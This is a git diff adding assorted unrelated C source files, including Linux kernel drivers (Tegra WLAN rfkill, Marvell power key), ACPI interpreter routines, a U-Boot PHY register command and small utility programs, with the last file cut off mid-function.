sizeof(thread_priv_t)); + + if (func) + func(args); + + return 0; +} + +void +__thread_exit(void) +{ + SENTRY; + SEXIT; + tsd_exit(); + complete_and_exit(NULL, 0); + /* Unreachable */ +} +EXPORT_SYMBOL(__thread_exit); + +/* thread_create() may block forever if it cannot create a thread or + * allocate memory. This is preferable to returning a NULL which Solaris + * style callers likely never check for... since it can't fail. */ +kthread_t * +__thread_create(caddr_t stk, size_t stksize, thread_func_t func, + const char *name, void *args, size_t len, proc_t *pp, + int state, pri_t pri) +{ + thread_priv_t *tp; + struct task_struct *tsk; + char *p; + SENTRY; + + /* Option pp is simply ignored */ + /* Variable stack size unsupported */ + ASSERT(stk == NULL); + + tp = kmem_alloc(sizeof(thread_priv_t), KM_PUSHPAGE); + if (tp == NULL) + SRETURN(NULL); + + tp->tp_magic = TP_MAGIC; + tp->tp_name_size = strlen(name) + 1; + + tp->tp_name = kmem_alloc(tp->tp_name_size, KM_PUSHPAGE); + if (tp->tp_name == NULL) { + kmem_free(tp, sizeof(thread_priv_t)); + SRETURN(NULL); + } + + strncpy(tp->tp_name, name, tp->tp_name_size); + + /* Strip trailing "_thread" from passed name which will be the func + * name since the exposed API has no parameter for passing a name. + */ + p = strstr(tp->tp_name, "_thread"); + if (p) + p[0] = '\0'; + + tp->tp_func = func; + tp->tp_args = args; + tp->tp_len = len; + tp->tp_state = state; + tp->tp_pri = pri; + + tsk = kthread_create(thread_generic_wrapper, (void *)tp, + "%s", tp->tp_name); + if (IS_ERR(tsk)) { + SERROR("Failed to create thread: %ld\n", PTR_ERR(tsk)); + SRETURN(NULL); + } + + wake_up_process(tsk); + SRETURN((kthread_t *)tsk); +} +EXPORT_SYMBOL(__thread_create); diff --git a/pool/shard011/C/0141863_pswalk.c b/pool/shard011/C/0141863_pswalk.c new file mode 100644 index 0000000000000000000000000000000000000000..abd65624754f20175721dea4e570e7fa0a2d887c --- /dev/null +++ b/pool/shard011/C/0141863_pswalk.c @@ -0,0 +1,110 @@ +/****************************************************************************** + * + * Module Name: pswalk - Parser routines to walk parsed op tree(s) + * + *****************************************************************************/ + +/* + * Copyright (C) 2000 - 2013, Intel Corp. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions, and the following disclaimer, + * without modification. + * 2. Redistributions in binary form must reproduce at minimum a disclaimer + * substantially similar to the "NO WARRANTY" disclaimer below + * ("Disclaimer") and any redistribution must be conditioned upon + * including a substantially similar Disclaimer requirement for further + * binary redistribution. + * 3. Neither the names of the above-listed copyright holders nor the names + * of any contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * Alternatively, this software may be distributed under the terms of the + * GNU General Public License ("GPL") version 2 as published by the Free + * Software Foundation. + * + * NO WARRANTY + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR CONTRIBUTORS BE LIABLE FOR SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGES. + */ + +#include +#include "accommon.h" +#include "acparser.h" + +#define _COMPONENT ACPI_PARSER +ACPI_MODULE_NAME("pswalk") + +/******************************************************************************* + * + * FUNCTION: acpi_ps_delete_parse_tree + * + * PARAMETERS: subtree_root - Root of tree (or subtree) to delete + * + * RETURN: None + * + * DESCRIPTION: Delete a portion of or an entire parse tree. + * + ******************************************************************************/ +void acpi_ps_delete_parse_tree(union acpi_parse_object *subtree_root) +{ + union acpi_parse_object *op = subtree_root; + union acpi_parse_object *next = NULL; + union acpi_parse_object *parent = NULL; + + ACPI_FUNCTION_TRACE_PTR(ps_delete_parse_tree, subtree_root); + + /* Visit all nodes in the subtree */ + + while (op) { + + /* Check if we are not ascending */ + + if (op != parent) { + + /* Look for an argument or child of the current op */ + + next = acpi_ps_get_arg(op, 0); + if (next) { + + /* Still going downward in tree (Op is not completed yet) */ + + op = next; + continue; + } + } + + /* No more children, this Op is complete. */ + + next = op->common.next; + parent = op->common.parent; + + acpi_ps_free_op(op); + + /* If we are back to the starting point, the walk is complete. */ + + if (op == subtree_root) { + return_VOID; + } + if (next) { + op = next; + } else { + op = parent; + } + } + + return_VOID; +} diff --git a/pool/shard011/C/0141864_cmd_ethreg_hw29764428p8p0p128p2x2p2x2.c b/pool/shard011/C/0141864_cmd_ethreg_hw29764428p8p0p128p2x2p2x2.c new file mode 100644 index 0000000000000000000000000000000000000000..6bda1fe2ec83eae7a8f0903c5fb32805f7712cc0 --- /dev/null +++ b/pool/shard011/C/0141864_cmd_ethreg_hw29764428p8p0p128p2x2p2x2.c @@ -0,0 +1,197 @@ +/* + * (C) Copyright 2002 + * Gerald Van Baren, Custom IDEAS, vanbaren@cideas.com + * + * See file CREDITS for list of people who contributed to this + * project. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of + * the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, + * MA 02111-1307 USA + */ + +/* + * SPI Read/Write Utilities + */ + +#include +#include + +#if (CONFIG_COMMANDS & CFG_CMD_ETHREG) + +/*----------------------------------------------------------------------- + * Definitions + */ +#ifdef CFG_ATHRS26_PHY +extern unsigned int s26_rd_phy(unsigned int phy_addr, unsigned int reg_addr); +extern void s26_wr_phy(unsigned int phy_addr, unsigned int reg_addr, unsigned int write_data); +extern uint32_t athrs26_reg_read(uint32_t reg_addr); +extern void athrs26_reg_write(uint32_t reg_addr, uint32_t reg_val); +#endif + +#ifdef CFG_ATHRS27_PHY +extern unsigned int s27_rd_phy(unsigned int phy_addr, unsigned int reg_addr); +extern void s27_wr_phy(unsigned int phy_addr, unsigned int reg_addr, unsigned int write_data); +extern uint32_t athrs27_reg_read(uint32_t reg_addr); +extern void athrs27_reg_write(uint32_t reg_addr, uint32_t reg_val); +#endif + +#ifdef CONFIG_AR7242_S16_PHY +extern uint32_t athrs16_reg_read(uint32_t reg_addr); +extern void athrs16_reg_write(uint32_t reg_addr, uint32_t reg_val); +extern int ag7240_miiphy_read(char *devname, uint32_t phaddr, + uint8_t reg); +extern int ag7240_miiphy_write(char *devname, uint32_t phaddr, + uint8_t reg, uint16_t data); +#endif + + +#define READ_MAC 0x01 +#define WRITE_MAC 0x02 +#define READ_PHY 0x10 +#define WRITE_PHY 0x20 + +/* + * Values from last command. + */ +static int reg; +static int val,rd_value; +static int phyaddr; +static int portnum; + +int do_ethreg (cmd_tbl_t *cmdtp, int flag, int argc, char *argv[]) +{ + int rcode = 0; + + /* + * We use the last specified parameters, unless new ones are + * entered. + */ + + if ((flag & CMD_FLAG_REPEAT) == 0) + { + if (argc == 2) { + reg = simple_strtoul(argv[1], NULL, 10); + rcode = READ_MAC; + } + if (argc == 3) { + reg = simple_strtoul(argv[1], NULL, 10); + val = simple_strtoul(argv[2],NULL,10); + rcode = WRITE_MAC; + } + if (argc == 4) { + if(*argv[1] == 'p') { + portnum = simple_strtoul(argv[2], NULL, 10); + reg = simple_strtoul(argv[3],NULL,10); + rcode = READ_PHY; + } + else + return 1; + } + if (argc == 5) { + if(*argv[1] == 'p') { + portnum = simple_strtoul(argv[2], NULL, 10); + reg = simple_strtoul(argv[3],NULL,10); + val = simple_strtoul(argv[4],NULL,10); + rcode = WRITE_PHY; + } + else + return 1; + } + + if ((argc > 4) && (argc < 2)) + return 1; + } +#ifdef CONFIG_AR7242_S16_PHY + if(rcode == READ_PHY) { + rd_value = ag7240_miiphy_read("eth0",portnum,reg); + printf("Read Reg: 0x%08x = 0x%08x\n",reg,rd_value); + } + else if(rcode == READ_MAC) { + rd_value = athrs16_reg_read(reg); + printf("Read Reg: 0x%08x = 0x%08x\n",reg,rd_value); + } + else if(rcode == WRITE_PHY) { + rd_value = ag7240_miiphy_read("eth0",portnum,reg); + ag7240_miiphy_write("eth0",portnum,reg,val); + printf("Write Reg: 0x%08x: Oldval = 0x%08x Newval = 0x%08x\n", reg, rd_value, val); + } + else if(rcode == WRITE_MAC) { + rd_value = athrs16_reg_read(reg); + athrs16_reg_write(reg,val); + printf("Write Reg: 0x%08x: Oldval = 0x%08x Newval = 0x%08x\n", reg, rd_value, val); + } + else + return 1; +#endif +#ifdef CFG_ATHRS26_PHY + if(rcode == READ_PHY) { + rd_value = s26_rd_phy(portnum,reg); + printf("Read Reg: 0x%08x = 0x%08x\n",reg,rd_value); + } + else if(rcode == READ_MAC) { + rd_value = athrs26_reg_read(reg); + printf("Read Reg: 0x%08x = 0x%08x\n",reg,rd_value); + } + else if(rcode == WRITE_PHY) { + rd_value = s26_rd_phy(portnum,reg); + s26_wr_phy(portnum,reg,val); + printf("Write Reg: 0x%08x: Oldval = 0x%08x Newval = 0x%08x\n", reg, rd_value, val); + } + else if(rcode == WRITE_MAC) { + rd_value = athrs26_reg_read(reg); + athrs26_reg_write(reg,val); + printf("Write Reg: 0x%08x: Oldval = 0x%08x Newval = 0x%08x\n", reg, rd_value, val); + } + else + return 1; +#endif +#ifdef CFG_ATHRS27_PHY + if(rcode == READ_PHY) { + rd_value = s27_rd_phy(portnum,reg); + printf("Read Reg: 0x%08x = 0x%08x\n",reg,rd_value); + } + else if(rcode == READ_MAC) { + rd_value = athrs27_reg_read(reg); + printf("Read Reg: 0x%08x = 0x%08x\n",reg,rd_value); + } + else if(rcode == WRITE_PHY) { + rd_value = s27_rd_phy(portnum,reg); + s27_wr_phy(portnum,reg,val); + printf("Write Reg: 0x%08x: Oldval = 0x%08x Newval = 0x%08x\n", reg, rd_value, val); + } + else if(rcode == WRITE_MAC) { + rd_value = athrs27_reg_read(reg); + athrs27_reg_write(reg,val); + printf("Write Reg: 0x%08x: Oldval = 0x%08x Newval = 0x%08x\n", reg, rd_value, val); + } + else + return 1; +#endif + return 0; +} + +/***************************************************/ + +U_BOOT_CMD( + ethreg, 6, 1, do_ethreg, + "ethreg - S26 PHY Reg rd/wr utility\n", + "

- Send bits from out the SPI\n" + "

- operates on the phy; by default is rd/wr s26 mac registers\n" + " - Address of the phy\n" + " - Register offset\n" + " - value to write\n" +); + +#endif /* CFG_CMD_SPI */ diff --git a/pool/shard011/C/0141865_rbsym.c b/pool/shard011/C/0141865_rbsym.c new file mode 100644 index 0000000000000000000000000000000000000000..fef2e2090295d000ebca82f25b4ba40b07ac793d --- /dev/null +++ b/pool/shard011/C/0141865_rbsym.c @@ -0,0 +1,21 @@ +#include "rbsym.h" + +VALUE rbsym_address; +VALUE rbsym_wif; +VALUE rbsym_case_insensitive; +VALUE rbsym_continuous; +VALUE rbsym_only_one; +VALUE rbsym_regex; +VALUE rbsym_regexp; +VALUE rbsym_threads; + +void init_rbsym() { + rbsym_address = ID2SYM(rb_intern("address")); + rbsym_wif = ID2SYM(rb_intern("wif")); + rbsym_case_insensitive = ID2SYM(rb_intern("case_insensitive")); + rbsym_continuous = ID2SYM(rb_intern("continuous")); + rbsym_only_one = ID2SYM(rb_intern("only_one")); + rbsym_regex = ID2SYM(rb_intern("regex")); + rbsym_regexp = ID2SYM(rb_intern("regexp")); + rbsym_threads = ID2SYM(rb_intern("threads")); +} diff --git a/pool/shard011/C/0141866_shuttle-pm-wlan.c b/pool/shard011/C/0141866_shuttle-pm-wlan.c new file mode 100644 index 0000000000000000000000000000000000000000..f826356d7b08e4743c65b86284d650594072bd65 --- /dev/null +++ b/pool/shard011/C/0141866_shuttle-pm-wlan.c @@ -0,0 +1,325 @@ +/* + * arch/arm/mach-tegra/shuttle-pm-wlan.c + * + * Copyright (C) 2011 Eduardo José Tagle + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and + * may be copied, distributed, and modified under those terms. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ + +/* Wlan is on SDIO bus card attached to sdhci.0 and it is a AR6002 */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "board-shuttle.h" +#include "gpio-names.h" + +struct shuttle_pm_wlan_data { + struct rfkill *rfkill; +#ifdef CONFIG_PM + int pre_resume_state; + int keep_on_in_suspend; +#endif + int powered_up; +}; + + +/* Power control */ +static void __shuttle_pm_wlan_toggle_radio(struct device *dev, unsigned int on) +{ + struct shuttle_pm_wlan_data *wlan_data = dev_get_drvdata(dev); + + /* Avoid turning it on if already on */ + if (wlan_data->powered_up == on) + return; + + if (on) { + + shuttle_wlan_bt_poweron(); + dev_info(dev, "WLAN adapter enabled\n"); + + } else { + + shuttle_wlan_bt_poweroff(); + dev_info(dev, "WLAN adapter disabled\n"); + + } + + /* store new state */ + wlan_data->powered_up = on; + +} + +static void shuttle_wlan_set_carddetect(struct device *dev,int cd) +{ + dev_dbg(dev,"%s: %d\n", __func__, cd); + + /* Sequence varies if powering up or down */ + if (cd) { + + /* power module up */ + __shuttle_pm_wlan_toggle_radio(dev,cd); + + /* notify the SDIO layer of the CD change */ + shuttle_wifi_set_cd(cd); + + } else { + + /* notify the SDIO layer of the CD change */ + shuttle_wifi_set_cd(cd); + + /* power module down */ + __shuttle_pm_wlan_toggle_radio(dev,cd); + + } +} + +/* rfkill */ +static int shuttle_wlan_rfkill_set_block(void *data, bool blocked) +{ + struct device *dev = data; + dev_dbg(dev, "blocked %d\n", blocked); + + /* manage rfkill by 'inserting' or 'removing' the virtual adapter */ + shuttle_wlan_set_carddetect(dev,!blocked); + + return 0; +} + +static const struct rfkill_ops shuttle_wlan_rfkill_ops = { + .set_block = shuttle_wlan_rfkill_set_block, +}; + +static ssize_t wlan_read(struct device *dev, struct device_attribute *attr, + char *buf) +{ + int ret = 0; + struct shuttle_pm_wlan_data *wlan_data = dev_get_drvdata(dev); + + if (!strcmp(attr->attr.name, "power_on")) { + ret = wlan_data->powered_up; + } else if (!strcmp(attr->attr.name, "reset")) { + ret = !wlan_data->powered_up; + } +#ifdef CONFIG_PM + else if (!strcmp(attr->attr.name, "keep_on_in_suspend")) { + ret = wlan_data->keep_on_in_suspend; + } +#endif + + return strlcpy(buf, (!ret) ? "0\n" : "1\n", 3); +} + +static ssize_t wlan_write(struct device *dev, struct device_attribute *attr, + const char *buf, size_t count) +{ + unsigned long on = simple_strtoul(buf, NULL, 10); + struct shuttle_pm_wlan_data *wlan_data = dev_get_drvdata(dev); + + if (!strcmp(attr->attr.name, "power_on")) { + + rfkill_set_sw_state(wlan_data->rfkill, !on); /* here it receives the blocked state */ + shuttle_wlan_set_carddetect(dev, !!on); + + } else if (!strcmp(attr->attr.name, "reset")) { + + /* reset is low-active, so we need to invert */ + rfkill_set_sw_state(wlan_data->rfkill, !!on); /* here it receives the blocked state */ + shuttle_wlan_set_carddetect(dev, !on); + + } +#ifdef CONFIG_PM + else if (!strcmp(attr->attr.name, "keep_on_in_suspend")) { + wlan_data->keep_on_in_suspend = on; + } +#endif + + return count; +} + +static DEVICE_ATTR(power_on, 0666, wlan_read, wlan_write); +static DEVICE_ATTR(reset, 0666, wlan_read, wlan_write); +#ifdef CONFIG_PM +static DEVICE_ATTR(keep_on_in_suspend, 0666, wlan_read, wlan_write); +#endif + +#ifdef CONFIG_PM +static int shuttle_wlan_suspend(struct platform_device *pdev, pm_message_t state) +{ + struct shuttle_pm_wlan_data *wlan_data = dev_get_drvdata(&pdev->dev); + + dev_dbg(&pdev->dev, "suspending\n"); + + wlan_data->pre_resume_state = wlan_data->powered_up; + + if (!wlan_data->keep_on_in_suspend) + shuttle_wlan_set_carddetect(&pdev->dev, 0); + else + dev_warn(&pdev->dev, "keeping WLAN ON during suspend\n"); + + return 0; +} + +static int shuttle_wlan_resume(struct platform_device *pdev) +{ + struct shuttle_pm_wlan_data *wlan_data = dev_get_drvdata(&pdev->dev); + dev_dbg(&pdev->dev, "resuming\n"); + + shuttle_wlan_set_carddetect(&pdev->dev, wlan_data->pre_resume_state); + return 0; +} + +#else +#define shuttle_wlan_suspend NULL +#define shuttle_wlan_resume NULL +#endif + +static struct attribute *shuttle_wlan_sysfs_entries[] = { + &dev_attr_power_on.attr, + &dev_attr_reset.attr, +#ifdef CONFIG_PM + &dev_attr_keep_on_in_suspend.attr, +#endif + NULL +}; + +static struct attribute_group shuttle_wlan_attr_group = { + .name = NULL, + .attrs = shuttle_wlan_sysfs_entries, +}; + +/* ----- Initialization/removal -------------------------------------------- */ +static int __init shuttle_wlan_probe(struct platform_device *pdev) +{ + /* default-on */ + const int default_blocked_state = 0; + + struct rfkill *rfkill; + struct shuttle_pm_wlan_data *wlan_data; + int ret; + + wlan_data = kzalloc(sizeof(*wlan_data), GFP_KERNEL); + if (!wlan_data) { + dev_err(&pdev->dev, "no memory for context\n"); + return -ENOMEM; + } + dev_set_drvdata(&pdev->dev, wlan_data); + + ret = shuttle_wlan_bt_init(); + if (ret) { + dev_err(&pdev->dev, "unable to init wlan/bt module\n"); + kfree(wlan_data); + dev_set_drvdata(&pdev->dev, NULL); + return ret; + } + + rfkill = rfkill_alloc(pdev->name, &pdev->dev, RFKILL_TYPE_WLAN, + &shuttle_wlan_rfkill_ops, &pdev->dev); + + + if (!rfkill) { + dev_err(&pdev->dev, "Failed to allocate rfkill\n"); + shuttle_wlan_bt_deinit(); + kfree(wlan_data); + dev_set_drvdata(&pdev->dev, NULL); + return -ENOMEM; + } + wlan_data->rfkill = rfkill; + + /* Tell the SDIO stack the card is not there... otherwise, it could + be using a non powered card not properly initialized */ + shuttle_wlan_set_carddetect(&pdev->dev,0); + + /* Set the default state */ + rfkill_init_sw_state(rfkill, default_blocked_state); + shuttle_wlan_set_carddetect(&pdev->dev, !default_blocked_state); + + ret = rfkill_register(rfkill); + if (ret) { + dev_err(&pdev->dev, "Failed to register rfkill\n"); + rfkill_destroy(rfkill); + shuttle_wlan_bt_deinit(); + kfree(wlan_data); + dev_set_drvdata(&pdev->dev, NULL); + return ret; + } + + dev_info(&pdev->dev, "WLAN RFKill driver loaded\n"); + + return sysfs_create_group(&pdev->dev.kobj, &shuttle_wlan_attr_group); +} + +static int shuttle_wlan_remove(struct platform_device *pdev) +{ + struct shuttle_pm_wlan_data *wlan_data = dev_get_drvdata(&pdev->dev); + if (!wlan_data) + return 0; + + sysfs_remove_group(&pdev->dev.kobj, &shuttle_wlan_attr_group); + + rfkill_unregister(wlan_data->rfkill); + rfkill_destroy(wlan_data->rfkill); + + shuttle_wlan_set_carddetect(&pdev->dev, 0); + + shuttle_wlan_bt_deinit(); + + kfree(wlan_data); + dev_set_drvdata(&pdev->dev, NULL); + + return 0; +} + +static struct platform_driver shuttle_wlan_driver = { + .probe = shuttle_wlan_probe, + .remove = shuttle_wlan_remove, + .suspend = shuttle_wlan_suspend, + .resume = shuttle_wlan_resume, + .driver = { + .name = "shuttle-pm-wlan", + }, +}; + +static int __devinit shuttle_wlan_init(void) +{ + return platform_driver_register(&shuttle_wlan_driver); +} + +static void shuttle_wlan_exit(void) +{ + platform_driver_unregister(&shuttle_wlan_driver); +} + +module_init(shuttle_wlan_init); +module_exit(shuttle_wlan_exit); + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Eduardo José Tagle "); +MODULE_DESCRIPTION("Shuttle WLAN power management"); diff --git a/pool/shard011/C/0141867_nombresDios1_4.c b/pool/shard011/C/0141867_nombresDios1_4.c new file mode 100644 index 0000000000000000000000000000000000000000..b95342359c4aa31275d1245e1cd323c527826c18 --- /dev/null +++ b/pool/shard011/C/0141867_nombresDios1_4.c @@ -0,0 +1,140 @@ +/* + * nombresDios1_0.c + * + * Copyright 2009 josemi + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + * MA 02110-1301, USA. + */ + +/* linux gcc nombresDios1_0.c -march=x86-64 -o nombresDios */ + +#include +#include +#include + +int main(int argc, char** argv) +{ +#define CAR (13) +#define POS (9) +#define MAXBLOCK (3) +#define TRUE (1) +#define FALSE (0) +/* esto es la edad media */ + + long long sum = 0; + long long sumOK = 0; + /* supongo long long 64 bits */ + + + int ended = FALSE; + + int l,k,j,e; + /* vaya mierda, tengo que declarar esto aqui */ + + int car = CAR; + int pos = POS; + int maxblock = MAXBLOCK; + + if(argc == 4) + { + car = atoi(argv[1]); + pos = atoi(argv[2]); + maxblock = atoi(argv[3]); + } + + int efPos = pos-maxblock; + + int *cell = calloc(pos,sizeof(int)); + + + printf("Version %ld, CAR %d, POS %d, MAXBLOCK %d\n", + sizeof(int)*8,car,pos,maxblock); + + clock_t begin = clock(); + + do { + sum++; + + int numOK = TRUE; + for(k=0; (numOK) && (k=0;j--) + { + a.append((char)(65+cell[j])); + } + System.out.println(a); + */ + /* + for(j=POS-1;j>=0;j--) + { + printf("%c",65+cell[j]); + } + printf("\n"); + */ + } + + + cell[0]++; + int i=0; + while(cell[i]>=car) + { + cell[i]=0; + i++; + if(i +#include "accommon.h" +#include "acinterp.h" +#include "acparser.h" +#include "amlcode.h" + +#define _COMPONENT ACPI_EXECUTER +ACPI_MODULE_NAME("exoparg6") + +/* + + + + + + + + + + + + + + + + + + + + */ +/* */ +static u8 +acpi_ex_do_match(u32 match_op, + union acpi_operand_object *package_obj, + union acpi_operand_object *match_obj); + +/* + + + + + + + + + + + + + + */ + +static u8 +acpi_ex_do_match(u32 match_op, + union acpi_operand_object *package_obj, + union acpi_operand_object *match_obj) +{ + u8 logical_result = TRUE; + acpi_status status; + + /* + + + + + + + + + */ + switch (match_op) { + case MATCH_MTR: + + /* */ + + break; + + case MATCH_MEQ: + + /* + + + */ + status = + acpi_ex_do_logical_op(AML_LEQUAL_OP, match_obj, package_obj, + &logical_result); + if (ACPI_FAILURE(status)) { + return (FALSE); + } + break; + + case MATCH_MLE: + + /* + + + */ + status = + acpi_ex_do_logical_op(AML_LLESS_OP, match_obj, package_obj, + &logical_result); + if (ACPI_FAILURE(status)) { + return (FALSE); + } + logical_result = (u8) ! logical_result; + break; + + case MATCH_MLT: + + /* + + + */ + status = + acpi_ex_do_logical_op(AML_LGREATER_OP, match_obj, + package_obj, &logical_result); + if (ACPI_FAILURE(status)) { + return (FALSE); + } + break; + + case MATCH_MGE: + + /* + + + */ + status = + acpi_ex_do_logical_op(AML_LGREATER_OP, match_obj, + package_obj, &logical_result); + if (ACPI_FAILURE(status)) { + return (FALSE); + } + logical_result = (u8) ! logical_result; + break; + + case MATCH_MGT: + + /* + + + */ + status = + acpi_ex_do_logical_op(AML_LLESS_OP, match_obj, package_obj, + &logical_result); + if (ACPI_FAILURE(status)) { + return (FALSE); + } + break; + + default: + + /* */ + + return (FALSE); + } + + return logical_result; +} + +/* + + + + + + + + + + */ + +acpi_status acpi_ex_opcode_6A_0T_1R(struct acpi_walk_state * walk_state) +{ + union acpi_operand_object **operand = &walk_state->operands[0]; + union acpi_operand_object *return_desc = NULL; + acpi_status status = AE_OK; + u64 index; + union acpi_operand_object *this_element; + + ACPI_FUNCTION_TRACE_STR(ex_opcode_6A_0T_1R, + acpi_ps_get_opcode_name(walk_state->opcode)); + + switch (walk_state->opcode) { + case AML_MATCH_OP: + /* + + + */ + + /* */ + + if ((operand[1]->integer.value > MAX_MATCH_OPERATOR) || + (operand[3]->integer.value > MAX_MATCH_OPERATOR)) { + ACPI_ERROR((AE_INFO, "Match operator out of range")); + status = AE_AML_OPERAND_VALUE; + goto cleanup; + } + + /* */ + + index = operand[5]->integer.value; + if (index >= operand[0]->package.count) { + ACPI_ERROR((AE_INFO, + "Index (0x%8.8X%8.8X) beyond package end (0x%X)", + ACPI_FORMAT_UINT64(index), + operand[0]->package.count)); + status = AE_AML_PACKAGE_LIMIT; + goto cleanup; + } + + /* */ + /* */ + + return_desc = acpi_ut_create_integer_object(ACPI_UINT64_MAX); + if (!return_desc) { + status = AE_NO_MEMORY; + goto cleanup; + + } + + /* + + + + + + + + + + */ + for (; index < operand[0]->package.count; index++) { + + /* */ + + this_element = operand[0]->package.elements[index]; + + /* */ + + if (!this_element) { + continue; + } + + /* + + + + */ + if (!acpi_ex_do_match((u32) operand[1]->integer.value, + this_element, operand[2])) { + continue; + } + + if (!acpi_ex_do_match((u32) operand[3]->integer.value, + this_element, operand[4])) { + continue; + } + + /* */ + + return_desc->integer.value = index; + break; + } + break; + + case AML_LOAD_TABLE_OP: + + status = acpi_ex_load_table_op(walk_state, &return_desc); + break; + + default: + + ACPI_ERROR((AE_INFO, "Unknown AML opcode 0x%X", + walk_state->opcode)); + status = AE_AML_BAD_OPCODE; + goto cleanup; + } + + cleanup: + + /* */ + + if (ACPI_FAILURE(status)) { + acpi_ut_remove_reference(return_desc); + } + + /* */ + + else { + walk_state->result_obj = return_desc; + } + + return_ACPI_STATUS(status); +} diff --git a/pool/shard011/C/0141869_88pm80x_onkey.c b/pool/shard011/C/0141869_88pm80x_onkey.c new file mode 100644 index 0000000000000000000000000000000000000000..7f26e7b6c228e51b3404b424a433b32ad96fc22c --- /dev/null +++ b/pool/shard011/C/0141869_88pm80x_onkey.c @@ -0,0 +1,168 @@ +/* + * Marvell 88PM80x ONKEY driver + * + * Copyright (C) 2012 Marvell International Ltd. + * Haojian Zhuang + * Qiao Zhou + * + * This file is subject to the terms and conditions of the GNU General + * Public License. See the file "COPYING" in the main directory of this + * archive for more details. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#include +#include +#include +#include +#include +#include + +#define PM800_LONG_ONKEY_EN (1 << 0) +#define PM800_LONG_KEY_DELAY (8) /* 1 .. 16 seconds */ +#define PM800_LONKEY_PRESS_TIME ((PM800_LONG_KEY_DELAY-1) << 4) +#define PM800_LONKEY_PRESS_TIME_MASK (0xF0) +#define PM800_SW_PDOWN (1 << 5) + +struct pm80x_onkey_info { + struct input_dev *idev; + struct pm80x_chip *pm80x; + struct regmap *map; + int irq; +}; + +/* 88PM80x gives us an interrupt when ONKEY is held */ +static irqreturn_t pm80x_onkey_handler(int irq, void *data) +{ + struct pm80x_onkey_info *info = data; + int ret = 0; + unsigned int val; + + ret = regmap_read(info->map, PM800_STATUS_1, &val); + if (ret < 0) { + dev_err(info->idev->dev.parent, "failed to read status: %d\n", ret); + return IRQ_NONE; + } + val &= PM800_ONKEY_STS1; + + input_report_key(info->idev, KEY_POWER, val); + input_sync(info->idev); + + return IRQ_HANDLED; +} + +static SIMPLE_DEV_PM_OPS(pm80x_onkey_pm_ops, pm80x_dev_suspend, + pm80x_dev_resume); + +static int __devinit pm80x_onkey_probe(struct platform_device *pdev) +{ + + struct pm80x_chip *chip = dev_get_drvdata(pdev->dev.parent); + struct pm80x_onkey_info *info; + int err; + + info = kzalloc(sizeof(struct pm80x_onkey_info), GFP_KERNEL); + if (!info) + return -ENOMEM; + + info->pm80x = chip; + + info->irq = platform_get_irq(pdev, 0); + if (info->irq < 0) { + dev_err(&pdev->dev, "No IRQ resource!\n"); + err = -EINVAL; + goto out; + } + + info->map = info->pm80x->regmap; + if (!info->map) { + dev_err(&pdev->dev, "no regmap!\n"); + err = -EINVAL; + goto out; + } + + info->idev = input_allocate_device(); + if (!info->idev) { + dev_err(&pdev->dev, "Failed to allocate input dev\n"); + err = -ENOMEM; + goto out; + } + + info->idev->name = "88pm80x_on"; + info->idev->phys = "88pm80x_on/input0"; + info->idev->id.bustype = BUS_I2C; + info->idev->dev.parent = &pdev->dev; + info->idev->evbit[0] = BIT_MASK(EV_KEY); + __set_bit(KEY_POWER, info->idev->keybit); + + err = pm80x_request_irq(info->pm80x, info->irq, pm80x_onkey_handler, + IRQF_ONESHOT, "onkey", info); + if (err < 0) { + dev_err(&pdev->dev, "Failed to request IRQ: #%d: %d\n", + info->irq, err); + goto out_reg; + } + + err = input_register_device(info->idev); + if (err) { + dev_err(&pdev->dev, "Can't register input device: %d\n", err); + goto out_irq; + } + + platform_set_drvdata(pdev, info); + + /* Enable long onkey detection */ + regmap_update_bits(info->map, PM800_RTC_MISC4, PM800_LONG_ONKEY_EN, + 